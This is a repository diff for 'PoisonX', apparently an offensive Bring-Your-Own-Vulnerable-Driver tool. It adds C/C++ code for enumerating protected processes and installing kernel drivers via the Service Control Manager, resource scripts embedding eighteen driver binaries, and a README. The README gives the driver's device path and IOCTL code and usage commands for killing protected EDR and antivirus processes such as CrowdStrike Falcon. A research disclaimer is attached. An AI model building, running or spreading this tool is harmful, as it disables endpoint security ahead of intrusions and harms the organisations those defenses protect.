typedef NTSTATUS(WINAPI* PFN_NtQueryInformationProcess)(
|
||||
HANDLE, ULONG, PVOID, ULONG, PULONG);
|
||||
|
||||
static PFN_NtQueryInformationProcess GetNtQueryInformationProcess(void)
|
||||
{
|
||||
static PFN_NtQueryInformationProcess pfn = NULL;
|
||||
if (!pfn)
|
||||
{
|
||||
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (hNtdll)
|
||||
pfn = (PFN_NtQueryInformationProcess)
|
||||
GetProcAddress(hNtdll, "NtQueryInformationProcess");
|
||||
}
|
||||
return pfn;
|
||||
}
|
||||
|
||||
static const WCHAR* SignerName(UCHAR signer)
|
||||
{
|
||||
switch (signer)
|
||||
{
|
||||
case PS_SIGNER_NONE: return L"None";
|
||||
case PS_SIGNER_AUTHENTICODE: return L"Authenticode";
|
||||
case PS_SIGNER_CODE_GEN: return L"CodeGen";
|
||||
case PS_SIGNER_ANTIMALWARE: return L"Antimalware";
|
||||
case PS_SIGNER_LSA: return L"Lsa";
|
||||
case PS_SIGNER_WINDOWS: return L"Windows";
|
||||
case PS_SIGNER_WIN_TCB: return L"WinTcb";
|
||||
case PS_SIGNER_WIN_SYSTEM: return L"WinSystem";
|
||||
case PS_SIGNER_APP: return L"App";
|
||||
default: return L"Unknown";
|
||||
}
|
||||
}
|
||||
|
||||
static BOOL QueryProtection(HANDLE hProcess, PS_PROTECTION* pProt)
|
||||
{
|
||||
PFN_NtQueryInformationProcess pfn = GetNtQueryInformationProcess();
|
||||
if (!pfn)
|
||||
return FALSE;
|
||||
|
||||
ULONG returned = 0;
|
||||
NTSTATUS status = pfn(
|
||||
hProcess,
|
||||
PROCESS_PROTECTION_INFORMATION_CLASS,
|
||||
pProt,
|
||||
sizeof(*pProt),
|
||||
&returned
|
||||
);
|
||||
return (status == 0);
|
||||
}
|
||||
|
||||
static void BuildProtLabel(DWORD pid, WCHAR* buf, int bufChars)
|
||||
{
|
||||
lstrcpyW(buf, L"---");
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess)
|
||||
{
|
||||
LogVerbose(L"BuildProtLabel: OpenProcess failed for PID %u (0x%08X)",
|
||||
pid, GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
PS_PROTECTION prot = { 0 };
|
||||
if (QueryProtection(hProcess, &prot))
|
||||
{
|
||||
if (prot.Type == PS_PROTECTED_FULL)
|
||||
wsprintfW(buf, L"PP %s", SignerName(prot.Signer));
|
||||
else if (prot.Type == PS_PROTECTED_LIGHT)
|
||||
wsprintfW(buf, L"PPL %s", SignerName(prot.Signer));
|
||||
}
|
||||
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Check if a process with the given PID exists
|
||||
// ---------------------------------------------------------------
|
||||
BOOL ProcessExists(DWORD pid)
|
||||
{
|
||||
if (pid == 0)
|
||||
{
|
||||
LogVerbose(L"ProcessExists: PID 0 is a system pseudo-process");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// --- Find process name via snapshot ---
|
||||
WCHAR processName[MAX_PATH] = L"<unknown>";
|
||||
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
PROCESSENTRY32W pe = { 0 };
|
||||
pe.dwSize = sizeof(pe);
|
||||
|
||||
if (Process32FirstW(hSnap, &pe))
|
||||
{
|
||||
do
|
||||
{
|
||||
if (pe.th32ProcessID == pid)
|
||||
{
|
||||
lstrcpyW(processName, pe.szExeFile);
|
||||
break;
|
||||
}
|
||||
} while (Process32NextW(hSnap, &pe));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
}
|
||||
|
||||
// --- Check existence via OpenProcess ---
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_QUERY_LIMITED_INFORMATION | SYNCHRONIZE,
|
||||
FALSE,
|
||||
pid
|
||||
);
|
||||
|
||||
DWORD err = GetLastError();
|
||||
|
||||
// ERROR_ACCESS_DENIED — process exists but is protected
|
||||
BOOL exists = (hProcess != NULL || err == ERROR_ACCESS_DENIED);
|
||||
|
||||
if (!exists)
|
||||
{
|
||||
LogVerbose(L"ProcessExists: PID %u does not exist (0x%08X)", pid, err);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// --- Query PP/PPL protection ---
|
||||
WCHAR protLabel[32] = L"---";
|
||||
|
||||
if (hProcess)
|
||||
{
|
||||
PS_PROTECTION prot = { 0 };
|
||||
if (QueryProtection(hProcess, &prot))
|
||||
{
|
||||
if (prot.Type == PS_PROTECTED_FULL)
|
||||
wsprintfW(protLabel, L"PP %s", SignerName(prot.Signer));
|
||||
else if (prot.Type == PS_PROTECTED_LIGHT)
|
||||
wsprintfW(protLabel, L"PPL %s", SignerName(prot.Signer));
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
else
|
||||
{
|
||||
// Access denied — we know it's protected but can't read the level
|
||||
lstrcpyW(protLabel, L"PP/PPL (access denied)");
|
||||
}
|
||||
|
||||
// --- Output process info ---
|
||||
LogMinimal(L" PID : %u", pid);
|
||||
LogMinimal(L" Name : %s", processName);
|
||||
LogMinimal(L" Protection : %s", protLabel);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
void PrintProcessList(void)
|
||||
{
|
||||
LogInfo(L"Enumerating running processes...");
|
||||
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
LogError(L"CreateToolhelp32Snapshot", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
LogMinimal(L"%-52s %6s %s", L"Process", L"PID", L"Protection");
|
||||
LogMinimal(L"%-52s %6s %s",
|
||||
L"----------------------------------------------------",
|
||||
L"------",
|
||||
L"----------------");
|
||||
|
||||
PROCESSENTRY32W pe = { 0 };
|
||||
pe.dwSize = sizeof(pe);
|
||||
|
||||
if (!Process32FirstW(hSnap, &pe))
|
||||
{
|
||||
LogError(L"Process32FirstW", GetLastError());
|
||||
CloseHandle(hSnap);
|
||||
return;
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
WCHAR protLabel[32] = { 0 };
|
||||
BuildProtLabel(pe.th32ProcessID, protLabel, 32);
|
||||
|
||||
LogMinimal(L"%-52s %6u %s",
|
||||
pe.szExeFile,
|
||||
pe.th32ProcessID,
|
||||
protLabel);
|
||||
} while (Process32NextW(hSnap, &pe));
|
||||
|
||||
CloseHandle(hSnap);
|
||||
LogInfo(L"Process enumeration complete.");
|
||||
}
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// Returns TRUE if a process with the given PID is currently running
|
||||
BOOL ProcessExists(DWORD pid);
|
||||
|
||||
// Prints all running processes as:
|
||||
// <ProcessName> : <PID> [ PP/PPL <type> <signer> | unprotected ]
|
||||
void PrintProcessList(void);
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#define TEXTFILE 256
|
||||
#define IDR_INFO1 101
|
||||
#define IDR_INFO2 102
|
||||
#define IDR_INFO3 103
|
||||
#define IDR_INFO4 104
|
||||
#define IDR_INFO5 105
|
||||
#define IDR_INFO6 106
|
||||
#define IDR_INFO7 107
|
||||
#define IDR_INFO8 108
|
||||
#define IDR_INFO9 109
|
||||
#define IDR_INFO10 110
|
||||
#define IDR_INFO11 111
|
||||
#define IDR_INFO12 112
|
||||
#define IDR_INFO13 113
|
||||
#define IDR_INFO14 114
|
||||
#define IDR_INFO15 115
|
||||
#define IDR_INFO16 116
|
||||
#define IDR_INFO17 117
|
||||
#define IDR_INFO18 118
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
#include "resource.h"
|
||||
|
||||
101 TEXTFILE "PoisonX1.sys"
|
||||
102 TEXTFILE "PoisonX2.sys"
|
||||
103 TEXTFILE "PoisonX3.sys"
|
||||
104 TEXTFILE "PoisonX4.sys"
|
||||
105 TEXTFILE "PoisonX5.sys"
|
||||
106 TEXTFILE "PoisonX6.sys"
|
||||
107 TEXTFILE "PoisonX7.sys"
|
||||
108 TEXTFILE "PoisonX8.sys"
|
||||
109 TEXTFILE "PoisonX9.sys"
|
||||
110 TEXTFILE "PoisonX10.sys"
|
||||
111 TEXTFILE "PoisonX11.sys"
|
||||
112 TEXTFILE "PoisonX12.sys"
|
||||
113 TEXTFILE "PoisonX13.sys"
|
||||
114 TEXTFILE "PoisonX14.sys"
|
||||
115 TEXTFILE "PoisonX15.sys"
|
||||
116 TEXTFILE "PoisonX16.sys"
|
||||
117 TEXTFILE "PoisonX17.sys"
|
||||
118 TEXTFILE "PoisonX18.sys"
|
||||
@@ -0,0 +1,369 @@
|
||||
#include "service.h"
|
||||
#include "log.h"
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Internal helpers
|
||||
// ---------------------------------------------------------------
|
||||
|
||||
static void LogWinApiError(const WCHAR* context)
|
||||
{
|
||||
DWORD code = GetLastError();
|
||||
LogError(context, code);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
BOOL GetCurrentDir(WCHAR* outDir, DWORD bufSize)
|
||||
{
|
||||
if (!outDir || bufSize == 0)
|
||||
{
|
||||
LogErrorMsg(L"GetCurrentDir: invalid arguments");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD len = GetModuleFileNameW(NULL, outDir, bufSize);
|
||||
if (len == 0 || len >= bufSize)
|
||||
{
|
||||
LogWinApiError(L"GetModuleFileNameW");
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"GetCurrentDir: exe full path = %s", outDir);
|
||||
|
||||
// Trim at the last path separator, keeping trailing '\'
|
||||
WCHAR* lastSlash = NULL;
|
||||
for (WCHAR* p = outDir; *p; ++p)
|
||||
if (*p == L'\\' || *p == L'/')
|
||||
lastSlash = p;
|
||||
|
||||
if (!lastSlash)
|
||||
{
|
||||
LogErrorMsg(L"GetCurrentDir: unexpected path format — no separator found");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*(lastSlash + 1) = L'\0';
|
||||
LogVerbose(L"GetCurrentDir: exe directory = %s", outDir);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Open SCM with required access rights
|
||||
// ---------------------------------------------------------------
|
||||
static SC_HANDLE OpenSCM(DWORD access)
|
||||
{
|
||||
LogVerbose(L"OpenSCManagerW: requesting access mask 0x%08X", access);
|
||||
SC_HANDLE hScm = OpenSCManagerW(NULL, NULL, access);
|
||||
if (!hScm)
|
||||
LogWinApiError(L"OpenSCManagerW");
|
||||
else
|
||||
LogVerbose(L"OpenSCManagerW: handle acquired");
|
||||
return hScm;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// Poll until the service reaches desiredState or times out
|
||||
// ---------------------------------------------------------------
|
||||
static BOOL WaitForServiceState(SC_HANDLE hSvc, DWORD desiredState,
|
||||
DWORD timeoutMs)
|
||||
{
|
||||
const DWORD interval = 500;
|
||||
DWORD elapsed = 0;
|
||||
|
||||
LogVerbose(L"WaitForServiceState: waiting for state %u (timeout %u ms)",
|
||||
desiredState, timeoutMs);
|
||||
|
||||
while (elapsed < timeoutMs)
|
||||
{
|
||||
SERVICE_STATUS ss = { 0 };
|
||||
if (!QueryServiceStatus(hSvc, &ss))
|
||||
{
|
||||
LogWinApiError(L"QueryServiceStatus");
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"WaitForServiceState: current state = %u (%u ms elapsed)",
|
||||
ss.dwCurrentState, elapsed);
|
||||
|
||||
if (ss.dwCurrentState == desiredState)
|
||||
{
|
||||
LogVerbose(L"WaitForServiceState: desired state reached");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Sleep(interval);
|
||||
elapsed += interval;
|
||||
}
|
||||
|
||||
LogErrorMsg(L"WaitForServiceState: timed out after %u ms waiting for state %u",
|
||||
timeoutMs, desiredState);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// INSTALL
|
||||
// ---------------------------------------------------------------
|
||||
BOOL DriverInstall(const WCHAR* driverName)
|
||||
{
|
||||
if (!driverName || driverName[0] == L'\0')
|
||||
{
|
||||
LogErrorMsg(L"DriverInstall: driver name is empty");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogInfo(L"Installing driver: %s", driverName);
|
||||
|
||||
// --- Build full .sys path ---
|
||||
WCHAR currentDir[MAX_PATH];
|
||||
if (!GetCurrentDir(currentDir, MAX_PATH))
|
||||
return FALSE;
|
||||
|
||||
if (lstrlenW(currentDir) + lstrlenW(driverName) + 4 >= MAX_PATH)
|
||||
{
|
||||
LogErrorMsg(L"DriverInstall: resulting path is too long");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WCHAR binPath[MAX_PATH];
|
||||
lstrcpyW(binPath, currentDir);
|
||||
lstrcatW(binPath, driverName);
|
||||
lstrcatW(binPath, L".sys");
|
||||
|
||||
LogVerbose(L"DriverInstall: binary path = %s", binPath);
|
||||
|
||||
// --- Verify the .sys file exists ---
|
||||
DWORD attr = GetFileAttributesW(binPath);
|
||||
if (attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY))
|
||||
{
|
||||
LogErrorMsg(L"DriverInstall: file not found: %s", binPath);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverInstall: .sys file found");
|
||||
|
||||
// --- Open SCM ---
|
||||
SC_HANDLE hScm = OpenSCM(SC_MANAGER_CREATE_SERVICE);
|
||||
if (!hScm)
|
||||
return FALSE;
|
||||
|
||||
// --- Check if the service already exists ---
|
||||
LogVerbose(L"DriverInstall: checking if service already exists");
|
||||
SC_HANDLE hExist = OpenServiceW(hScm, driverName, SERVICE_QUERY_STATUS);
|
||||
if (hExist)
|
||||
{
|
||||
CloseServiceHandle(hExist);
|
||||
CloseServiceHandle(hScm);
|
||||
LogErrorMsg(L"DriverInstall: service '%s' already exists", driverName);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverInstall: service does not exist yet — proceeding");
|
||||
|
||||
// --- Create the service ---
|
||||
// Equivalent to: sc create <name> type= kernel binPath= <path>
|
||||
LogInfo(L"Creating service: %s", driverName);
|
||||
SC_HANDLE hSvc = CreateServiceW(
|
||||
hScm,
|
||||
driverName,
|
||||
driverName,
|
||||
SERVICE_START | SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE,
|
||||
SERVICE_KERNEL_DRIVER,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
binPath,
|
||||
NULL, NULL, NULL, NULL, NULL
|
||||
);
|
||||
|
||||
if (!hSvc)
|
||||
{
|
||||
LogWinApiError(L"CreateServiceW");
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverInstall: service created");
|
||||
|
||||
// --- Start the service ---
|
||||
LogInfo(L"Starting service: %s", driverName);
|
||||
if (!StartServiceW(hSvc, 0, NULL))
|
||||
{
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_ALREADY_RUNNING)
|
||||
{
|
||||
SetLastError(err);
|
||||
LogWinApiError(L"StartServiceW");
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverInstall: service was already running");
|
||||
}
|
||||
|
||||
// --- Wait until running ---
|
||||
if (!WaitForServiceState(hSvc, SERVICE_RUNNING, 5000))
|
||||
{
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
|
||||
LogMinimal(L"Driver '%s' installed and started successfully.", driverName);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------
|
||||
// UNINSTALL
|
||||
// ---------------------------------------------------------------
|
||||
BOOL DriverUninstall(const WCHAR* driverName)
|
||||
{
|
||||
if (!driverName || driverName[0] == L'\0')
|
||||
{
|
||||
LogErrorMsg(L"DriverUninstall: driver name is empty");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
LogInfo(L"Uninstalling driver: %s", driverName);
|
||||
|
||||
// --- Open SCM ---
|
||||
SC_HANDLE hScm = OpenSCM(SC_MANAGER_CONNECT);
|
||||
if (!hScm)
|
||||
return FALSE;
|
||||
|
||||
// --- Open the service ---
|
||||
LogVerbose(L"DriverUninstall: opening service handle");
|
||||
SC_HANDLE hSvc = OpenServiceW(
|
||||
hScm,
|
||||
driverName,
|
||||
SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS | SERVICE_STOP | DELETE
|
||||
);
|
||||
|
||||
if (!hSvc)
|
||||
{
|
||||
DWORD err = GetLastError();
|
||||
CloseServiceHandle(hScm);
|
||||
|
||||
if (err == ERROR_SERVICE_DOES_NOT_EXIST)
|
||||
LogErrorMsg(L"DriverUninstall: service '%s' does not exist", driverName);
|
||||
else
|
||||
{
|
||||
SetLastError(err);
|
||||
LogWinApiError(L"OpenServiceW");
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverUninstall: service handle acquired");
|
||||
|
||||
// --- Read binary path from service config ---
|
||||
DWORD needed = 0;
|
||||
QueryServiceConfigW(hSvc, NULL, 0, &needed);
|
||||
|
||||
QUERY_SERVICE_CONFIGW* pCfg =
|
||||
(QUERY_SERVICE_CONFIGW*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, needed);
|
||||
|
||||
if (!pCfg)
|
||||
{
|
||||
LogErrorMsg(L"DriverUninstall: HeapAlloc failed for service config buffer");
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD returned = 0;
|
||||
if (!QueryServiceConfigW(hSvc, pCfg, needed, &returned))
|
||||
{
|
||||
LogWinApiError(L"QueryServiceConfigW");
|
||||
HeapFree(GetProcessHeap(), 0, pCfg);
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
WCHAR sysPath[MAX_PATH];
|
||||
if (lstrlenW(pCfg->lpBinaryPathName) >= MAX_PATH)
|
||||
{
|
||||
LogErrorMsg(L"DriverUninstall: binary path in service config is too long");
|
||||
HeapFree(GetProcessHeap(), 0, pCfg);
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
lstrcpyW(sysPath, pCfg->lpBinaryPathName);
|
||||
HeapFree(GetProcessHeap(), 0, pCfg);
|
||||
LogVerbose(L"DriverUninstall: service binary path = %s", sysPath);
|
||||
|
||||
// --- Query current service state ---
|
||||
SERVICE_STATUS ss = { 0 };
|
||||
if (!QueryServiceStatus(hSvc, &ss))
|
||||
{
|
||||
LogWinApiError(L"QueryServiceStatus");
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverUninstall: current service state = %u", ss.dwCurrentState);
|
||||
|
||||
// --- Stop the service if needed ---
|
||||
if (ss.dwCurrentState != SERVICE_STOPPED &&
|
||||
ss.dwCurrentState != SERVICE_STOP_PENDING)
|
||||
{
|
||||
LogInfo(L"Stopping service: %s", driverName);
|
||||
SERVICE_STATUS ssSend = { 0 };
|
||||
if (!ControlService(hSvc, SERVICE_CONTROL_STOP, &ssSend))
|
||||
{
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_NOT_ACTIVE)
|
||||
{
|
||||
SetLastError(err);
|
||||
LogWinApiError(L"ControlService (STOP)");
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverUninstall: service was not active");
|
||||
}
|
||||
|
||||
if (!WaitForServiceState(hSvc, SERVICE_STOPPED, 10000))
|
||||
{
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverUninstall: service stopped");
|
||||
}
|
||||
else
|
||||
{
|
||||
LogVerbose(L"DriverUninstall: service already stopped");
|
||||
}
|
||||
|
||||
// --- Delete the service ---
|
||||
LogInfo(L"Deleting service: %s", driverName);
|
||||
if (!DeleteService(hSvc))
|
||||
{
|
||||
LogWinApiError(L"DeleteService");
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverUninstall: service deleted");
|
||||
|
||||
CloseServiceHandle(hSvc);
|
||||
CloseServiceHandle(hScm);
|
||||
|
||||
// --- Delete the .sys file ---
|
||||
LogInfo(L"Deleting file: %s", sysPath);
|
||||
DWORD fileAttr = GetFileAttributesW(sysPath);
|
||||
if (fileAttr == INVALID_FILE_ATTRIBUTES || (fileAttr & FILE_ATTRIBUTE_DIRECTORY))
|
||||
{
|
||||
// Not fatal — file may have been removed manually
|
||||
LogErrorMsg(L"DriverUninstall: .sys file not found (already deleted?): %s", sysPath);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!DeleteFileW(sysPath))
|
||||
{
|
||||
LogWinApiError(L"DeleteFileW");
|
||||
return FALSE;
|
||||
}
|
||||
LogVerbose(L"DriverUninstall: file deleted");
|
||||
}
|
||||
|
||||
LogMinimal(L"Driver '%s' stopped, service deleted, file removed.", driverName);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
// Retrieves the directory of the running .exe (with trailing '\')
|
||||
BOOL GetCurrentDir(WCHAR* outDir, DWORD bufSize);
|
||||
|
||||
// Installs a kernel driver service and starts it
|
||||
// driverName — service/file name without .sys extension
|
||||
BOOL DriverInstall(const WCHAR* driverName);
|
||||
|
||||
// Stops the service, deletes it, and removes the .sys file
|
||||
// Path to .sys is read from the service configuration
|
||||
BOOL DriverUninstall(const WCHAR* driverName);
|
||||
@@ -0,0 +1,153 @@
|
||||
# PoisonX
|
||||
|
||||
> **PP/PPL Process Termination via GUID Device Driver**
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Overview
|
||||
|
||||
**PoisonX** is a Bring Your Own Vulnerable Driver (BYOVD) research tool that leverages a signed Microsoft kernel driver to terminate any Windows process — including **PP (Protected Processes)** and **PPL (Protected Process Light)** processes such as EDR/AV services (e.g. CrowdStrike Falcon).
|
||||
|
||||
The driver exposes an IOCTL interface reachable via a fixed GUID device path. Because the driver carries a valid Microsoft signature, it loads without triggering standard code-integrity checks.
|
||||
|
||||
| Property | Value |
|
||||
|-------------|----------------------------------------------------|
|
||||
| Device path | `\\.\{F8284233-48F4-4680-ADDD-F8284233}` |
|
||||
| IOCTL code | `0x22E010` |
|
||||
| Signer | Microsoft Windows Hardware Compatibility Publisher |
|
||||
| Sign date | 2025-03-25 |
|
||||
|
||||
---
|
||||
|
||||
## How It Works
|
||||
|
||||
```
|
||||
PoisonX.exe
|
||||
?
|
||||
?? Checks administrator privileges
|
||||
?? Enables SeDebugPrivilege (best-effort)
|
||||
?
|
||||
?? [--extract] Drops embedded .sys driver next to the .exe
|
||||
?? [--driver-install] Registers & starts the driver as a kernel service (SCM)
|
||||
?? [--driver-uninstall] Stops, deletes the service, removes the .sys file
|
||||
?? [--pid-list] Enumerates all running processes with PP/PPL status
|
||||
?? [--poison-pid] Sends IOCTL_KILL to the driver ? process is terminated
|
||||
```
|
||||
|
||||
When `--poison-pid` is used without a pre-installed driver, PoisonX performs **automatic driver deployment**:
|
||||
1. Iterates over up to 18 embedded driver variants (`PoisonX1.sys` … `PoisonX18.sys`).
|
||||
2. Extracts the first available variant next to the executable.
|
||||
3. Installs it as a kernel-mode service via the Service Control Manager.
|
||||
4. Sends `IOCTL_KILL` with the target PID as an ASCII payload.
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
PoisinX/
|
||||
??? PoisinX.cpp – Entry point, CLI argument parsing, command dispatch
|
||||
??? poison.cpp/.h – IOCTL_KILL dispatch: opens device, sends PID payload
|
||||
??? service.cpp/.h – Kernel driver install / uninstall via SCM
|
||||
??? extract.cpp/.h – Embedded resource extraction (up to 18 driver variants)
|
||||
??? proclist.cpp/.h – Process enumeration with PP/PPL protection level display
|
||||
??? admin.cpp/.h – Admin privilege check + SeDebugPrivilege acquisition
|
||||
??? banner.cpp/.h – Colored console banner
|
||||
??? log.cpp/.h – Levelled logging (console + optional UTF-8 file)
|
||||
??? resource.h – Resource ID definitions (IDR_INFO1 … IDR_INFO18)
|
||||
??? resources.rc – Binary resource manifest embedding the .sys files
|
||||
```
|
||||
|
||||
### Module Descriptions
|
||||
|
||||
| Module | Responsibility |
|
||||
|---|---|
|
||||
| `poison` | Opens `\\.\{F8284233-48F4-4680-ADDD-F8284233}`, converts PID to ASCII, calls `DeviceIoControl(IOCTL_KILL)` |
|
||||
| `service` | Wraps SCM calls: `CreateServiceW` (kernel driver, demand-start), `StartServiceW`, `ControlService(STOP)`, `DeleteService` |
|
||||
| `extract` | Locates Win32 resources (type `TEXTFILE`, IDs 101–118), writes them to the exe directory |
|
||||
| `proclist` | Snapshots all processes via `TlHelp32`, queries `NtQueryInformationProcess` for protection attributes, pretty-prints PP/PPL type and signer |
|
||||
| `admin` | Checks the token for the Administrators SID; enables `SeDebugPrivilege` via `AdjustTokenPrivileges` |
|
||||
| `log` | Thread-safe levelled logger — `MINIMAL(0)`, `INFO(1)`, `ERROR(2)`, `VERBOSE(3)` — with optional UTF-8 file mirror |
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
PoisonX.exe --driver-install <driver_name> [options]
|
||||
PoisonX.exe --driver-uninstall <driver_name> [options]
|
||||
PoisonX.exe --extract <resource_number> [options]
|
||||
PoisonX.exe --pid-list [options]
|
||||
PoisonX.exe --poison-pid <pid> [options]
|
||||
```
|
||||
|
||||
### Options
|
||||
|
||||
| Flag | Description |
|
||||
|---|---|
|
||||
| `--log-level <0-3>` | `0` = minimal · `1` = info *(default)* · `2` = errors · `3` = verbose |
|
||||
| `--write-log <file>` | Mirror all output to a UTF-8 log file |
|
||||
|
||||
### Examples
|
||||
|
||||
```cmd
|
||||
:: List all running processes and their protection level
|
||||
PoisonX.exe --pid-list
|
||||
|
||||
:: Kill process with PID 1234 (auto-deploys driver if not present)
|
||||
PoisonX.exe --poison-pid 1234
|
||||
|
||||
:: Extract driver variant #1 next to the exe
|
||||
PoisonX.exe --extract 1
|
||||
|
||||
:: Manually install / uninstall a driver variant
|
||||
PoisonX.exe --driver-install PoisonX1
|
||||
PoisonX.exe --driver-uninstall PoisonX1
|
||||
|
||||
:: Kill a process with verbose output and log to file
|
||||
PoisonX.exe --poison-pid 1234 --log-level 3 --write-log C:\Temp\poisonx.log
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Building
|
||||
|
||||
| Requirement | Version |
|
||||
|---|---|
|
||||
| Visual Studio | 2019 or later |
|
||||
| Platform Toolset | v143 (or later) |
|
||||
| C++ Standard | C++14 |
|
||||
| Target Platforms | x64, ARM64 |
|
||||
|
||||
Open `PoisinX\PoisinX.vcxproj` in Visual Studio and build in **Release** configuration.
|
||||
|
||||
> The embedded driver binaries must be present as Win32 resources (type `TEXTFILE`, IDs 101–118) in `resources.rc` before building.
|
||||
|
||||
---
|
||||
|
||||
## Log Levels
|
||||
|
||||
| Level | Flag | Output |
|
||||
|---|---|---|
|
||||
| 0 | `MINIMAL` | Key results only (default quiet mode) |
|
||||
| 1 | `INFO` | Operational steps (default) |
|
||||
| 2 | `ERROR` | Win32 errors with `GetLastError()` codes |
|
||||
| 3 | `VERBOSE` | Full internal trace including device I/O details |
|
||||
|
||||
---
|
||||
|
||||
## Disclaimer
|
||||
|
||||
> **This project is provided strictly for security research and educational purposes.**
|
||||
> Using this tool against systems or processes without explicit authorization is illegal.
|
||||
> The authors accept no responsibility for misuse.
|
||||
|
||||
---
|
||||
|
||||
## Author
|
||||
|
||||
**Eleven Red Pandas**
|
||||
GitHub: [https://github.com/oxfemale](https://github.com/oxfemale)
|
||||
X: [https://x.com/bytecodevm](https://x.com/bytecodevm)
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 36 KiB |
Reference in New Issue
Block a user